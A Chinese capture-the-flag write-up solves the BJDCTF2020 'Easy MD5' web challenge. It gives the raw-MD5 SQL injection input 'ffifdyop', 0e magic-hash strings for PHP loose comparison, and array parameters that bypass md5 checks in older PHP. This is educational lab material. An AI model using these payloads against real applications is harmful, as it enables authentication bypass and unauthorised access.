[BJDCTF2020]Easy MD5
查看源码
<form class="upload" action="leveldo4.php" method="GET">
<input type="text" id="name" name='password' class="in">
<input type="submit" class="give">
</form>
提交一个值抓包试试
发现响应头中有hint
Hint: select * from 'admin' where password=md5($pass,true)
这里考察md5的知识
md5($pass, true) 返回16字节的原始二进制摘要,不是32字符十六进制字符串。ffifdyop 的二进制摘要开头恰好含有可被该题 SQL 拼接利用的内容,示意为
'or'6XXXX

被sql语句解析,就能形成拼接
payload
password=ffifdyop
拼接后:select * from 'admin' where password=''or'6XXXX'即可绕过
进入levels91.php Do You Like MD5?查看源码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
这里考察弱比较:两个以 0e 开头且后面全为数字的摘要,会被按科学计数法数值比较;这不是真正的 MD5 碰撞。题目旧版 PHP 中,也可用数组参数触发 md5 参数警告并返回 NULL,从而绕过比较;PHP 8 会抛出 TypeError,数组方式不再成立。
payload
a[]=1&b[]=2
or
a=s878926199a&b=s155964671a
得到源码
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里仍可利用题目旧版 PHP 对数组参数调用 md5 后返回 NULL 的行为,使两次结果严格相等而两个输入数组不同。这不是让不同数组产生了相同摘要,也不适用于 PHP 8。
payload
param1[]=1¶m2[]=2
得到flag
评论将在接近此处时加载,也可点击立即加载。